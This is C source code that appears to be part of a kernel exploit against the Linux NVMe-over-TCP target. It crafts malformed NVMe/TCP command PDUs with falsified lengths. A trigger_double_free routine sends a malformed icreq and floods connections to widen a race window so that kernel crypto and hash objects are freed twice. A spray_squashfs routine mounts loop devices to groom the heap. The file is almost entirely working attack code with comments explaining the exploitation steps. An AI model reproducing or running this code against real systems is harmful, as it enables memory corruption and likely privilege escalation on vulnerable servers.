static struct nvme_tcp_cmd_pdu construct_connect_cmd_pdu_with_fake_data_size(int digest_needed, uint32_t data_size, int qid) {
    command_id++;
    struct nvme_tcp_hdr hdr = {
        .type = 4,
        .flags = digest_needed,
        .hlen = 0x48,
        .pdo = 0,
        .plen = 0x48 + data_size + (digest_needed & 1) * 4 + (digest_needed & 2) * 4,
    };

    struct nvmf_connect_command cmd;
    memset(&cmd, 0, sizeof(cmd));
    cmd.opcode = 0x7f;
    cmd.resv1 = 1 << 6;
    cmd.command_id = command_id;
    cmd.fctype = 0x01;
    
    memset(&cmd.dptr, 0, sizeof(cmd.dptr));
    cmd.dptr.sgl.length = data_size;

    cmd.recfmt = 0x00;
    cmd.qid = qid;
    cmd.sqsize = 32;
    cmd.cattr = 0;
    // cmd.kato = ; // is reserved

    struct nvme_command wrap;
    wrap.connect = cmd;

    struct nvme_tcp_cmd_pdu pdu;
    pdu.hdr = hdr;
    pdu.cmd = wrap;
    return pdu;
}

static struct nvme_tcp_cmd_pdu construct_set_features_cmd_pdu(uint32_t data_size, int digest_needed) {
    struct nvme_common_command set_features = {
        .opcode = nvme_admin_set_features,
        .flags = 1 << 6,
        .command_id = command_id++,
        .cdw10 = NVME_FEAT_KATO,
    };
    
    memset(&set_features.dptr, 0, sizeof(set_features.dptr));
    set_features.dptr.sgl.length = data_size;

    struct nvme_command cmd = { 
        .common = set_features,
    };

    struct nvme_tcp_cmd_pdu pdu = {
        .hdr.type = 4,
        .hdr.flags = digest_needed,
        .hdr.pdo = 0,
        .hdr.hlen = 0x48,
        .hdr.plen = 0x48 + (digest_needed & 1) * 4 + data_size + (digest_needed & 2) * 4,
        .cmd = cmd,
    };

    return pdu;
}

static struct nvme_tcp_cmd_pdu construct_property_set_cmd_pdu(uint32_t data_size, int digest_needed) {
    struct nvmf_property_set_command prop_set = {
        .opcode = nvme_fabrics_command,
        .resv1 = 1 << 6,
        .command_id = command_id++,
        .fctype = nvme_fabrics_type_property_set,
        .attrib = 0,
        .offset = NVME_REG_CC,
        .value = 1, // nvmet_cc_en, see nvmet_update_cc (enables controller)
    };
    

    struct nvme_command cmd = { 
        .prop_set = prop_set,
    };
    
    // memset(&cmd.common.dptr, 0, sizeof(cmd.common.dptr));
    // cmd.common.dptr.sgl.length = data_size;

    struct nvme_tcp_cmd_pdu pdu = {
        .hdr.type = 4,
        .hdr.flags = digest_needed,
        .hdr.pdo = 0,
        .hdr.hlen = 0x48,
        .hdr.plen = 0x48 + (digest_needed & 1) * 4 + data_size + (digest_needed & 2) * 4,
        .cmd = cmd,
    };
    return pdu;
}

static struct nvme_tcp_cmd_pdu construct_auth_send_cmd_pdu(uint32_t data_size, int digest_needed) {
    struct nvmf_auth_send_command auth_send = {
        .opcode = nvme_fabrics_command,
        .resv1 = (1 << 6),
        .command_id = command_id++,
        .fctype = nvme_fabrics_type_auth_send,
        .spsp0 = 0,
        .spsp1 = 0,
        .secp = 0,
        .tl = 100000,
    };

    memset(&auth_send.dptr, 0, sizeof(auth_send.dptr));
    auth_send.dptr.sgl.length = data_size;

    struct nvme_command cmd = {
        .auth_send = auth_send,
    };

    struct nvme_tcp_cmd_pdu pdu = {
        .hdr.type = 4,
        .hdr.flags = digest_needed,
        .hdr.pdo = 0,
        .hdr.hlen = 0x48,
        .hdr.plen = 0x48 + (digest_needed & 1) * 4 + data_size + (digest_needed & 2) * 4,
        .cmd = cmd,
    };

    return pdu;
}

static struct sockaddr_in construct_serv_addr() {
    struct sockaddr_in serv_addr = {
        .sin_port = htons(NVME_SERVER_PORT),
        .sin_family = AF_INET,
        .sin_addr.s_addr = inet_addr(NVME_SERVER_IP),
    };
    return serv_addr;
}

static void trigger_double_free(size_t num_fds) {
    // @num_fds: max number of fd to open
    int sockfds[NUM_CONNECTIONS];
    size_t num_connections = num_fds;

    assert(num_connections <= NUM_CONNECTIONS);
    
    struct nvme_tcp_icreq_pdu wrong_icreq = construct_icreq_pdu(2);
    wrong_icreq.hdr.plen = 0xff; // wrong to trigger bug
    memset(wrong_icreq.rsvd2, 0x0, sizeof(wrong_icreq.rsvd2));
    
    int df_sockfd;
    EXIT_ON_ERR((df_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0);
    
    // ONLY TCP-connection (no rcv_hash/snd_hash/crypto_tfm allocation happens here)
    EXIT_ON_ERR(connect(df_sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0); 

    puts("[*] creating fake connections");
    // makes nvmet_wq busy to extend the race window
    for (size_t i = 0; i < num_connections; ++i) {
        EXIT_ON_ERR((sockfds[i] = socket(PF_INET, SOCK_STREAM, 0)) < 0);
        EXIT_ON_ERR(connect(sockfds[i], (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0);
    }

    puts("[*] closing fake connections");
    for (size_t i = 0; i < num_connections; ++i) {
        EXIT_ON_ERR(close(sockfds[i]) < 0); // change_state should trigger queue_work on nvmet_wq
    }

    puts("[*] sending wrong_icreq");
    // alloc crypto_tfm,snd_hash,rcv_hash and free them 2 times (we have some time between these 2 frees)
    send(df_sockfd, &wrong_icreq, sizeof(wrong_icreq), 0);

    struct nvme_tcp_icresp_pdu icresp;
    EXIT_ON_ERR(recv(df_sockfd, &icresp, sizeof(icresp), 0) < 0);
}

static void spray_squashfs(size_t n_spray) {
    // @n_spray: number of objects to allocate. 
    //      * NOTE: ~10 * n_spray objects will be allocated
    assert(n_spray <= MAX_LOOP_DEVICES);
    for (size_t i = 0; i < n_spray; ++i) {
        char cmd[100];
        snprintf(cmd, sizeof(cmd), "udisksctl mount -b %s 2>&1 > /dev/null", loop[i]);
#ifdef LOG_DEBUG
        printf("[*] mounting squashfs: `%s`\n", cmd);
#endif
        system(cmd);
    }
}